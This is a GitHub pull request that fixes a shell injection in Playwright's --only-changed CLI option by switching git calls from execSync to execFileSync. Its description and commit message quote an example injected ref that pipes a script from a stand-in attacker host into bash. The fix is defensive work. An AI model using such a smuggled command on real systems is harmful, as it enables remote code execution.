Skip to content

fix(cli): prevent shell injection in --only-changed ref argument#40657

Open
SebTardif wants to merge 1 commit intomicrosoft:mainfrom
SebTardif:fix/shell-injection-only-changed
Open

fix(cli): prevent shell injection in --only-changed ref argument#40657
SebTardif wants to merge 1 commit intomicrosoft:mainfrom
SebTardif:fix/shell-injection-only-changed

Conversation

@SebTardif
Copy link
Copy Markdown

@SebTardif SebTardif commented May 6, 2026

Summary

  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution

Problem

The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:

childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)

A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.

Why this matters now

Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):

run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF

This pattern is actively copied by the community:

  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)

While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).

The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.

Changes

  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays

The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:

  execSync(`git diff ${baseCommit} --name-only`)

A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.

Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant